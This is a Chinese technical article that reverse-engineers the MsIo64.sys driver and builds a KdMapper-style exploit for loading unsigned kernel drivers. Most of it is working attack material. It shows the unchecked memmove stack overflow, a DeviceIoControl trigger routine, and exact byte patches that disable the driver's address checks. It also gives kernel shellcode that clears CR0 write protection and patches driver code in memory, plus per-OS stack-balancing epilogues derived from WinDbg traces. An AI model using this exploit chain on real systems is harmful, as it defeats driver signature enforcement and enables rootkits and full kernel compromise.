1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | MsIo64.sys |
时间戳 | 5DA7C185 |
MD5 | DC943BF367AE77016AE399DF8E71D38A |
文件版本 | 1.1.19.1016 |
设备名称 | \\.\MsIo |
执行代码 | 0x80102040 |
映射物理内存 | 0x80102040 |
取消映射物理内存 | 0x80102044 |
Windows 7 | 支持 |
Windows 10 | 22H2(包含) 及以下,只支持虚拟机,物理机蓝屏 |
Windows 11 | 22000(包含)及以下,只支持虚拟机,物理机蓝屏 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = qword_14108;
if (!qword_14108 || qword_14108 == 0x2B992DDFA232i64)
{
v2 = ((unsigned __int64)&qword_14108 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
if (!v2)
v2 = 0x2B992DDFA232i64;
qword_14108 = v2;
}
qword_14100 = ~v2;
return CreateDevice(DriverObject);
}
3.2 创建设备和符号链接
__int64 __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
NTSTATUS ntStatus; // ebx
PDEVICE_OBJECT DeviceObject; // [rsp+40h] [rbp-38h] BYREF
_UNICODE_STRING DestinationString; // [rsp+48h] [rbp-30h] BYREF
_UNICODE_STRING SymbolicLinkName; // [rsp+58h] [rbp-20h] BYREF
DeviceObject = 0i64;
DbgPrint("Entering DriverEntry");
RtlInitUnicodeString(&DestinationString, L"\\Device\\MsIo");
ntStatus = IoCreateDevice(DriverObject, 0, &DestinationString, 0x8010u, 0, 0, &DeviceObject);
if (ntStatus < 0)
{
DbgPrint("ERROR: IoCreateDevice failed");
}
else
{
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)MainDispatch;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)MainDispatch;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)MainDispatch;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11010;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\MsIo");
ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (ntStatus < 0)
{
DbgPrint("ERROR: IoCreateSymbolicLink failed");
IoDeleteDevice(DeviceObject);
}
}
DbgPrint("Leaving DriverEntry");
return (unsigned int)ntStatus;
}
3.3 MainDispatch
__int64 __fastcall MainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
_IO_STACK_LOCATION* pIosp; // rbp
PBYTE pSystemBuffer; // rsi
UCHAR nMajorFunction; // al
size_t nInputBufferLength; // rbx
ULONG nIoControlCode; // er11
unsigned __int32 v8; // eax
unsigned __int16 v9; // ax
unsigned __int8 v10; // al
NTSTATUS ntStatusV11; // ebp
unsigned int v12; // ebx
MSIO64_PHYSICAL_MEMORY_INFO Info; // [rsp+30h] [rbp-48h] BYREF
unsigned __int16 Dst; // [rsp+88h] [rbp+10h] BYREF
unsigned int v16; // [rsp+8Ah] [rbp+12h]
char v17; // [rsp+8Eh] [rbp+16h]
DbgPrint("---Entry MsIoDispatch---");
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
pSystemBuffer = (PBYTE)pIrp->AssociatedIrp.SystemBuffer;
pIrp->IoStatus.Status = 0;
pIrp->IoStatus.Information = 0i64;
nMajorFunction = pIosp->MajorFunction;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
if (!pIosp->MajorFunction)
{
DbgPrint("IRP_MJ_CREATE");
goto LABEL_34;
}
if (nMajorFunction == 2)
{
DbgPrint("IRP_MJ_CLOSE");
goto LABEL_34;
}
if (nMajorFunction == 14)
{
DbgPrint("IRP_MJ_DEVICE_CONTROL");
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
switch (nIoControlCode)
{
case 0x80102040:
DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
if (!(_DWORD)nInputBufferLength)
goto LABEL_9;
memmove(&Info, pSystemBuffer, nInputBufferLength);
ntStatusV11 = MapPhysicalAddress(Info.PhysicalAddress, Info.Size, &Info.BaseAddress, &Info.Handle, &Info.Object);
if (ntStatusV11 >= 0)
{
memmove(pSystemBuffer, &Info, nInputBufferLength);
pIrp->IoStatus.Information = nInputBufferLength;
}
pIrp->IoStatus.Status = ntStatusV11;
break;
case 0x80102044:
DbgPrint("IOCTL_MSIO_UNMAPPHYSADDR");
if ((_DWORD)nInputBufferLength)
{
memmove(&Info, pSystemBuffer, nInputBufferLength);
pIrp->IoStatus.Status = UnmapPhysicalAddress(Info.Handle, Info.BaseAddress, Info.Object);
break;
}
goto LABEL_9;
......
default:
DbgPrint("ERROR: Unknown IRP_MJ_DEVICE_CONTROL");
LABEL_9:
pIrp->IoStatus.Status = 0xC000000D;
break;
}
}
LABEL_34:
v12 = pIrp->IoStatus.Status;
IofCompleteRequest(pIrp, 0);
DbgPrint("Leaving MsIoDispatch");
return v12;
}
其中 0x80102040 是映射物理内存,实现函数为 MapPhysicalAddress, 0x80102044 为取消映射物理内存,实现函数为 UnmapPhysicalAddress。
代码第 45 行为 memmove(&Info, pSystemBuffer, nInputBufferLength),此处并未对第三个参数大小进行验证,可以利用堆栈溢出执行任意代码,参见《4.1执行任意代码》。
3.4 映射物理内存
__int64 __fastcall MapPhysicalAddress(PHYSICAL_ADDRESS BusAddress, ULONG_PTR nSize, PVOID* pMappedAddressRet, void** pHandle, PVOID* pObject)
{
DWORD BaseAddress; // ebx
unsigned __int16 v8; // ax
int v9; // er10
unsigned __int16 v10; // ax
int v11; // ecx
unsigned __int32 v12; // eax
unsigned __int32 v13; // eax
unsigned __int32 v14; // eax
ULONG_PTR v16; // rax
PVOID* Object; // rbp
NTSTATUS ntStatus; // edi
BOOLEAN v19; // bl
BOOLEAN v20; // al
ULONG AddressSpace; // [rsp+50h] [rbp-A8h] BYREF
PVOID MappedAddress; // [rsp+58h] [rbp-A0h] BYREF
LARGE_INTEGER TranslatedAddress; // [rsp+60h] [rbp-98h] BYREF
union _LARGE_INTEGER SectionOffset; // [rsp+68h] [rbp-90h] BYREF
LARGE_INTEGER BusAddressa; // [rsp+70h] [rbp-88h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+78h] [rbp-80h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+A8h] [rbp-50h] BYREF
ULONG_PTR CommitSize; // [rsp+108h] [rbp+10h] BYREF
CommitSize = nSize;
BaseAddress = BusAddress.LowPart;
MappedAddress = 0i64;
DbgPrint("Entering MapPhysicalMemoryToLinearSpace");
dword_14110 = 0;
__outdword(0xCF8u, 0x80000000);
v8 = __inword(0xCFCu);
v9 = v8;
__outdword(0xCF8u, 0x80002800);
v10 = __inword(0xCFEu);
dword_14118 = v9;
v11 = v10;
v12 = 0;
dword_14114 = v11;
if (v9 != 0x8086)
return 0xC0000022i64;
if (v11 == 12072 || v11 == 28456)
{
__outdword(0xCF8u, 0x80002890);
v13 = __indword(0xCFCu);
v12 = v13 & 0xFC000000;
dword_14110 = v12;
}
if (v11 == 8228)
{
__outdword(0xCF8u, 0x80002890);
v14 = __indword(0xCFCu);
v12 = v14 & 0xFC000000;
dword_14110 = v12;
}
if (!v12 || BaseAddress < v12 || BaseAddress > v12 + 0x10000000)
return 0xC0000022i64;
v16 = CommitSize;
if (CommitSize >= 4)
v16 = 4i64;
CommitSize = v16;
RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
Object = pObject;
*pHandle = 0i64;
*Object = 0i64;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 64;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ntStatus = ZwOpenSection(pHandle, 0xF001Fu, &ObjectAttributes);
if (ntStatus < 0)
{
DbgPrint("ERROR: ZwOpenSection failed");
}
else
{
ntStatus = ObReferenceObjectByHandle(*pHandle, 0xF001Fu, 0i64, 0, Object, 0i64);
if (ntStatus < 0)
{
DbgPrint("ERROR: ObReferenceObjectByHandle failed");
}
else
{
BusAddressa.QuadPart = BaseAddress + CommitSize;
TranslatedAddress.QuadPart = BaseAddress;
AddressSpace = 0;
v19 = HalTranslateBusAddress(Isa, 0, (PHYSICAL_ADDRESS)BaseAddress, &AddressSpace, &TranslatedAddress);
AddressSpace = 0;
v20 = HalTranslateBusAddress(Isa, 0, BusAddressa, &AddressSpace, &BusAddressa);
if (v19 && v20)
{
SectionOffset = TranslatedAddress;
CommitSize = BusAddressa.QuadPart - TranslatedAddress.QuadPart;
ntStatus = ZwMapViewOfSection(
*pHandle,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&MappedAddress,
0i64,
BusAddressa.QuadPart - TranslatedAddress.QuadPart,
&SectionOffset,
&CommitSize,
ViewShare,
0,
0x204u);
if (ntStatus == -1073741800)
ntStatus = ZwMapViewOfSection(
*pHandle,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&MappedAddress,
0i64,
CommitSize,
&SectionOffset,
&CommitSize,
ViewShare,
0,
4u);
if (ntStatus >= 0)
{
MappedAddress = (char*)MappedAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
*pMappedAddressRet = MappedAddress;
}
else
{
DbgPrint("ERROR: ZwMapViewOfSection failed");
}
}
else
{
DbgPrint("ERROR: HalTranslateBusAddress failed");
}
}
}
if (ntStatus < 0)
ZwClose(*pHandle);
DbgPrint("Leaving MapPhysicalMemoryToLinearSpace");
return (unsigned int)ntStatus;
}
其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
其中第 39 行以及 55 行对映射物理内存的条件作了限制,正常情况下导致映射失败,可以利用 《4.1执行任意代码》来修改对应的代码逻辑达到绕过验证,详见《4.2 映射物理内存函数校验》。
其中第 85 行、 86 行、88行内容为实际映射物理内存,但其地址的值被限定为一个DWORD大小,见第 3 行的定义,修改逻辑详见《4.3 映射物理内存地址参数》。
3.5 取消映射物理内存
__int64 __fastcall UnmapPhysicalAddress(HANDLE Handle, PVOID BaseAddress, PVOID Object)
{
NTSTATUS ntStatus; // ebx
DbgPrint("Entering UnmapPhysicalMemory");
ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, BaseAddress);
if (ntStatus < 0)
DbgPrint("ERROR: UnmapViewOfSection failed");
if (Object)
ObfDereferenceObject(Object);
ZwClose(Handle);
DbgPrint("Leaving UnmapPhysicalMemory");
return (unsigned int)ntStatus;
}
3.6 MSIO64_PHYSICAL_MEMORY_INFO结构体
00000000 MSIO64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, copyof_381)
00000000 ; XREF: MainDispatch/r
00000000 PhysicalAddress PHYSICAL_ADDRESS ? ; XREF: MainDispatch+238/r
00000008 Size dq ? ; XREF: MainDispatch+23D/r
00000010 Handle dq ? ; XREF: MainDispatch+205/r
00000010 ; MainDispatch+247/o ; offset
00000018 BaseAddress dq ? ; XREF: MainDispatch+200/r
00000018 ; MainDispatch+24C/o ; offset
00000020 Object dq ? ; XREF: MainDispatch+1FB/r
00000020 ; MainDispatch+242/o ; offset
00000028 MSIO64_PHYSICAL_MEMORY_INFO ends
4.相关逻辑分析及利用
4.1 执行任意代码
在MainDispatch中有以下代码:
switch ( nIoControlCode )
{
case 0x80102040:
DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
if ( !(_DWORD)nInputBufferLength )
goto LABEL_9;
memmove(&Info, pSystemBuffer, nInputBufferLength);
......
其中 memmove 的第三个大小参数 nInputBufferLength 并未作相应校验,故此处可以进行堆栈溢出。
在 IDA 中双击 Info 定位到堆栈,如下:
-0000000000000048 Info MSIO64_PHYSICAL_MEMORY_INFO ?
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 var_10 dq ?
-0000000000000008 var_8 dq ?
+0000000000000000 r db 8 dup(?)
+0000000000000008 db ? ; undefined
+0000000000000009 db ? ; undefined
+000000000000000A db ? ; undefined
+000000000000000B db ? ; undefined
+000000000000000C db ? ; undefined
+000000000000000D db ? ; undefined
+000000000000000E db ? ; undefined
+000000000000000F db ? ; undefined
+0000000000000010 Dst dw ?
+0000000000000012 arg_A dd ?
+0000000000000016 arg_E db ?
+0000000000000017 db ? ; undefined
+0000000000000018 arg_10 dq ?
+0000000000000020 arg_18 dq ?
+0000000000000028
+0000000000000028 ; end of stack variables
可以看到 Info变量在 地址0x48处,故传的结构体及大小大于 0x48就可会覆盖到返回的地址进行堆栈溢出利用。
大致代码如下:
#define MSIO64_DEVICE_TYPE (DWORD)0x8010
#define MSIO64_EXECUTE_SHELLCODE_FUNCID (DWORD)0x810
#define IOCTL_MSIO64_EXECUTE_SHELLCODE CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_EXECUTE_SHELLCODE_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040
typedef struct _PATCH_DRIVER_THREAD_CONTEXT
{
HANDLE hDevice;
PATCH_DRIVER_PLATFORM nPlatform;
PVOID pShellCodeAddress;
}PATCH_DRIVER_THREAD_CONTEXT,*PPATCH_DRIVER_THREAD_CONTEXT;
static void __cdecl micsys_driver::PatchDriverImplemetationThread(void* param)
{
PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)param;
DWORD dwInBufferSize = 0x50;
DWORD dwOutBufferSize = 12;
DWORD dwBytesReturned = 0;
BYTE data[0x48] = { 0 };
PVOID pInBuffer = malloc(0x100);
PVOID pCallAddress = pContext->pShellCodeAddress;
Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread Begin" << std::endl);
if (!pInBuffer)
{
Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread malloc pInBuffer failed" << std::endl);
return;
}
memcpy(&data[0x16], &pInBuffer, 8);
memcpy(pInBuffer, &data, 0x48);
memcpy((CHAR*)pInBuffer + 0x48, &pCallAddress, 8);
BYTE lpOutBuffer[12] = { 0 };
BOOL bOK = DeviceIoControl(pContext->hDevice, IOCTL_MSIO64_EXECUTE_SHELLCODE, pInBuffer, dwInBufferSize, &lpOutBuffer, dwOutBufferSize, &dwBytesReturned, NULL);
if (!bOK)
{
Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread DeviceIoControl failed, Code:" << GetLastError() << std::endl);
}
else
{
Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread End" << std::endl);
}
free(pInBuffer);
free(pContext);
}
其中 pCallAddress 就是要执行的代码,此处为一组 ShellCode, 稍后作详细内容。
原理分析可见《8.参考文章》。
4.2 映射物理内存函数校验
4.2.1 第一处验证
在 《3.4 映射物理内存》 第 39 行对映射物理内存的条件作了限制。
IDA 定位相关代码分析:
第 39 行及 40行跳转逻辑为 0x11111处,汇编代码为 jnz short loc_11170, 机器码为 75 5D, 要更改此处逻辑只需要将代码改为 nop nop,即 90 90。
4.2.2 第二处验证
在《3.4 映射物理内存》 第 55 行对映射物理内存的条件作了限制。
IDA 定位相关代码分析:
第 55 行跳转逻辑为 11161处,汇编代码为 jz short loc_11170,机器码为 74 0D, 需要更改此处逻辑代码为跳转到 loc_1117A,汇编代码为 jmp loc_1117A, 二进制代码 EB 17。
4.3 映射物理内存地址参数
映射物理内存指定地址时有几处逻辑和汇编代码如下,全部逻辑见《3.4 映射物理内存》 。
4.3.1 第一处修改
v16 = CommitSize;
if ( CommitSize >= 4 )
v16 = 4i64;
CommitSize = v16;
对应汇编代码为
.text:000000000001117A 48 8B 84 24 08 01 00 00 mov rax, [rsp+0F8h+CommitSize]
......
.text:000000000001119A 41 BE 04 00 00 00 mov r14d, 4
......
.text:00000000000111A7 49 3B C6 cmp rax, r14
......
.text:00000000000111B2 49 0F 43 C6 cmovnb rax, r14
.text:00000000000111B6 48 89 84 24 08 01 00 00 mov [rsp+0F8h+CommitSize], rax
关键修改代码在 111B2 处, 汇编代码为 cmovnb rax, r14, 机制码为 49 0F 43 C6。 此处需要修改为空,让它不赋值,修改的汇编代码为 nop nop nop nop,即 90909090。
4.3.2 第二处修改
BusAddressa.QuadPart = BaseAddress + CommitSize;
对应汇编代码为
.text:000000000001125B 44 8B C3 mov r8d, ebx ; BusAddress
.text:000000000001125E 33 D2 xor edx, edx ; BusNumber
关键代码在 1125B处,此处因为定义的参数值为DWORD,参见《3.4 映射物理内存》第3行定义,因此如果传入的物理地址高位值不为0,则实际会被截断。
因此需要将此处修改为 mov r8, rbx, 机器码为 49 89 D8, 再加上后一位机器码 33, 即为修改 1125B 处的 DWORD地址 为 0x3D88949。
4.4 ShellCode相关分析
4.4.1 ShellCode逻辑总结
参考《4.1执行任意代码》,我们只需要在ShellCode中修改几处字节:
- 0x1161 处修改两个字节的值 为 0x17EB
- 0x1111 处修改两个字节的值 为 0x9090
- 0x11B2 处修改四个字节的值为 0x90909090
- 0x125B 处修改四个字节的值为 0x33d88949
4.4.2 ShellCode执行时只读内存问题
ShellCode执行的过程中修改相应地址的值,但这些地址位于漏洞驱动的 .text 区段,这个区段的内存是只读的,因此需要修改此内存区间的权限为可写,或者使用其它方式使之可写。
本文利用 cr0 寄存器的修改达到可写的目的,汇编代码如下:
; 关闭写保护
mov rax, cr0
mov rbx, cr0
and rax, not 010000h
mov cr0, rax
;还原写保护
mov cr0, rbx
因为VS2019中不能内嵌汇编代码,故得将ShellCode写成asm文件形式,上述操作 cr0 的汇编不能被识别,得将其转为 二进制代码。
于是ShellCode汇编代码加修改逻辑如下节所示。
4.4.3 初步 ShellCode 逻辑代码
shellcode.asm
ShellCodeWin7 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
...... ;此处需要处理堆栈平衡
ret
ShellCodeWin7 ENDP
.C文件
#define PATCH_DRIVER_OFFSET_1161 (0x1161)
#define PATCH_DRIVER_OFFSET_1111 (0x1111)
#define PATCH_DRIVER_OFFSET_11B2 (0x11B2)
#define PATCH_DRIVER_OFFSET_125B (0x125B)
bool micsys_driver::PatchDriverImplemetation(HANDLE device_handle, uintptr_t driverBase, PATCH_DRIVER_PLATFORM nPlatform)
{
Log(L"[+] PatchDriver " << PlatformName[nPlatform] <<" Begin" << std::endl);
uintptr_t pPatchAddress1161 = driverBase + PATCH_DRIVER_OFFSET_1161;
uintptr_t pPatchAddress1111 = driverBase + PATCH_DRIVER_OFFSET_1111;
uintptr_t pPatchAddress11B2 = driverBase + PATCH_DRIVER_OFFSET_11B2;
uintptr_t pPatchAddress125B = driverBase + PATCH_DRIVER_OFFSET_125B;
PBYTE pShellCode = NULL;
switch (nPlatform)
{
case PLATFORM_WIN7:
pShellCode = (PBYTE)&ShellCodeWin7;
break;
case PLATFORM_WIN10_21H1:
pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
break;
case PLATFORM_WIN10_21H2:
pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
break;
case PLATFORM_WIN10_22H2:
pShellCode = (PBYTE)&ShellCodeWin10_22H2;
break;
case PLATFORM_WIN11:
pShellCode = (PBYTE)&ShellCodeWin11;
break;
}
DWORD dwOldProtect = 0;
BOOL bChange = VirtualProtect(pShellCode, 512, PAGE_EXECUTE_READWRITE, &dwOldProtect);
if (!bChange)
{
Log(L"[-] PatchDriver " << PlatformName[nPlatform] << " VirtualProtect failed, Code:" << GetLastError() << std::endl);
return false;
}
RtlCopyMemory(pShellCode + 18, &pPatchAddress1161, 8);
RtlCopyMemory(pShellCode + 33, &pPatchAddress1111, 8);
RtlCopyMemory(pShellCode + 48, &pPatchAddress11B2, 8);
RtlCopyMemory(pShellCode + 64, &pPatchAddress125B, 8);
VirtualProtect(pShellCode, 512, dwOldProtect, &dwOldProtect);
PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)malloc(sizeof(PATCH_DRIVER_THREAD_CONTEXT));
if (!pContext)
{
Log(L"[-] PatchDriver pContext allocate failed" << std::endl);
return false;
}
pContext->hDevice = device_handle;
pContext->nPlatform = nPlatform;
pContext->pShellCodeAddress = pShellCode;
_beginthread(PatchDriverImplemetationThread, 0, (PVOID)pContext);
Sleep(1000);
Log(L"[+] PatchDriver " << PlatformName[nPlatform] << " End" << std::endl);
return true;
}
其中 ShellCode的内容实际在程序的代码段,因此是不可写入的,需要用 VirtualProtect 修改权限后进行写。
PatchDriverImplemetationThread 见《4.1 执行任意代码》。
shellcode.asm中有一处为堆栈平衡,此处不同平台的处理逻辑不同,因此代码用的 ShellCode 代码的选择是根据平台不同而不同。
后继将分析 ShellCode的堆栈平衡问题。
4.4.4 Windows 7 x64 堆栈平衡处理
4.4.4.1 IDA分析
IDA 打开 MsIo64.sys 并定位到 MainDispatch, 如下:
可以看到其起始地址为 0x114C0,再用 StudyPE 中的 RVA 计算器计算出其相对虚拟地址,如下:
其 RVA 为 0x14C0。
知道其 RVA 后就可以在WinDbg中进行下断点调试,查看实际调用 DeviceIoControl 时的堆栈情况。
4.4.4.2 WinDbg调试
先加载 MsIo64.sys, 找到其对应的模块基址。
nt!RtlpBreakWithStatusInstruction:
fffff800`052ef820 cc int 3
3: kd> lm
start end module name
00000000`47730000 00000000`47750000 smss T (no symbols)
......
fffff880`041ad000 fffff880`041b5000 yxsBVGhSPpptosrlpA (deferred)
......
查看到其基址为 fffff880`041ad000, 然后加上上节所计算出来的 ROA 0x14C0, 得到 fffff880`041ae4c0
3: kd> ? fffff880`041ad000 + 0x14C0
Evaluate expression: -8246268336960 = fffff880`041ae4c0
然后下断点:
3: kd> ba e1 fffff880`041ae4c0
3: kd> bl
0 e Disable Clear fffff880`041ae4c0 e 1 0001 (0001) yxsBVGhSPpptosrlpA+0x14c0
然后执行程序调用 DeviceIoControl(使用的是已经完成的程序来进行的调试)。
执行后的调用堆栈如下:
[0x0] yxsBVGhSPpptosrlpA + 0x14c0!yxsBVGhSPpptosrlpA+0x14c0 0xfffff88003787988 0xfffff80005534f9a
[0x1] nt!IopSynchronousServiceTail+0xfa 0xfffff88003787990 0xfffff8000570af81
[0x2] nt!IopXxxControlFile+0xc51 0xfffff88003787a00 0xfffff800055995e6
[0x3] nt!NtDeviceIoControlFile+0x56 0xfffff88003787b40 0xfffff800052f7053
[0x4] nt!KiSystemServiceCopyEnd+0x13 0xfffff88003787bb0 0x779a8d4a
[0x5] ntdll!ZwDeviceIoControlFile+0xa 0x74f748 0x7fefd4cc469
[0x6] 0x7fefd4cc469!+ 0x74f750 0x13f3d27e0
[0x7] 0x13f3d27e0!+ 0x74f758 0x13f3d10f8
[0x8] 0x13f3d10f8!+ 0x74f760 0x13f3d2850
[0x9] 0x13f3d2850!+ 0x74f768 0x407c80
[0xa] 0x407c80!+ 0x74f770 0x74f7a0
[0xb] 0x74f7a0!+ 0x74f778 0x180102040
[0xc] 0x180102040!+ 0x74f780 0x409070
[0xd] 0x409070!+ 0x74f788 0x100000050
[0xe] 0x100000050!+ 0x74f790 0x74f8a8
[0xf] 0x74f8a8!+ 0x74f798 0xc
[0x10] 0xc!+ 0x74f7a0 0x13f3d27e0
[0x11] 0x13f3d27e0!+ 0x74f7a8 0x13f3d2701
[0x12] 0x13f3d2701!+ 0x74f7b0 0x50
[0x13] 0x50!+ 0x74f7b8 0x7773590f
[0x14] kernel32!DeviceIoControlImplementation+0x7f 0x74f7c0 0x13f3758a6
[0x15] 0x13f3758a6!+ 0x74f810 0x13f3875d1
[0x16] 0x13f3875d1!+ 0x74f818 0x13f39fc77
[0x17] 0x13f39fc77!+ 0x74f820 0x0
可以看到其调用的返回函数为 nt!IopSynchronousServiceTail, 定位到该函数的调用处:
可以看到实际就是调用 IofCallDriver 的返回,按道理我们的分发函数是 IofCallDriver 调用的,返回应该也是在 IofCallDriver 中,至于为什么不是这样可以点击 IofCallDriver 进入看一下。
IofCallDriver 函数如下:
如上图,IofCallDriver 最后是一个 jmp 而不是 Call 因此堆栈中返回的地址不是 IofCallDriver 中,而到了 IopSynchronousServiceTail中。
也就是说我们的 ShellCode 执行打断了本来应该返回到 IopSynchronousServiceTail的逻辑,再在 ShellCode 中 ret 时,实际 ret 的是 IopSynchronousServiceTail 返回的地址,也就是调用堆栈的第三个地址 [0x2] nt!IopXxxControlFile+0xc51。
但直接返回的话,调用堆栈是不平衡的,因为我们需要将 IopSynchronousServiceTail 中处理堆栈的逻辑加在我们的 ShellCode ret 之前。
IopSynchronousServiceTail 的返回如下:
我们可以将最后 add rsp, 40h 以及后边的一些 pop 指令加在我们的返回代码之前就可以完成堆栈的平衡。
4.4.4.3 Win7下的完整ShellCode代码
ShellCodeWin7 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
xor rax, rax
mov rbx, [rsp+68h+8h]
add rsp, 040h ;IopSynchronousServiceTail
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
ShellCodeWin7 ENDP
4.4.5 Windows 11 x64 堆栈平衡处理
同《4.4.4 Windows 7 x64 堆栈平衡处理》 的操作一样进行分析。
调用堆栈如下:
[0x0] eJpFwdcpIrWpxEphRvPDnosoJ + 0x14c0!eJpFwdcpIrWpxEphRvPDnosoJ+0x14c0 0xffffbb83c5861848 0xfffff8050e01f5f5
[0x1] nt!IofCallDriver+0x55 0xffffbb83c5861850 0xfffff8050e4c5200
[0x2] nt!IopSynchronousServiceTail+0x1d0 0xffffbb83c5861890 0xfffff8050e4c6c37
[0x3] nt!IopXxxControlFile+0x707 0xffffbb83c5861940 0xfffff8050e4c6516
[0x4] nt!NtDeviceIoControlFile+0x56 0xffffbb83c5861b40 0xfffff8050e245fe5
[0x5] nt!KiSystemServiceCopyEnd+0x25 0xffffbb83c5861bb0 0x7ffe76ccee34
[0x6] 0x7ffe76ccee34!+ 0xf4504ff998 0x7ffe741c60eb
[0x7] 0x7ffe741c60eb!+ 0xf4504ff9a0 0x7ff6e9de27e0
[0x8] 0x7ff6e9de27e0!+ 0xf4504ff9a8 0x7ff6e9de10f8
[0x9] 0x7ff6e9de10f8!+ 0xf4504ff9b0 0x7ff6e9de27e0
[0xa] 0x7ff6e9de27e0!+ 0xf4504ff9b8 0x2df29790030
[0xb] 0x2df29790030!+ 0xf4504ff9c0 0xf4504ff9f0
[0xc] 0xf4504ff9f0!+ 0xf4504ff9c8 0x7ff680102040
[0xd] 0x7ff680102040!+ 0xf4504ff9d0 0x2df2978bb60
[0xe] 0x2df2978bb60!+ 0xf4504ff9d8 0x7ff600000050
[0xf] 0x7ff600000050!+ 0xf4504ff9e0 0xf4504ffaf8
[0x10] 0xf4504ffaf8!+ 0xf4504ff9e8 0xc
[0x11] 0xc!+ 0xf4504ff9f0 0x7ff6e9de27e0
[0x12] 0x7ff6e9de27e0!+ 0xf4504ff9f8 0x7ff6e9de2701
[0x13] 0x7ff6e9de2701!+ 0xf4504ffa00 0x50
[0x14] 0x50!+ 0xf4504ffa08 0x7ffe756e27f1
[0x15] 0x7ffe756e27f1!+ 0xf4504ffa10 0x80102040
[0x16] 0x80102040!+ 0xf4504ffa18 0x7ff6e9d8bd1b
[0x17] 0x7ff6e9d8bd1b!+ 0xf4504ffa20 0x2df29785fe0
[0x18] 0x2df29785fe0!+ 0xf4504ffa28 0x7ff6e9de27e0
[0x19] 0x7ff6e9de27e0!+ 0xf4504ffa30 0xf4504ffaf8
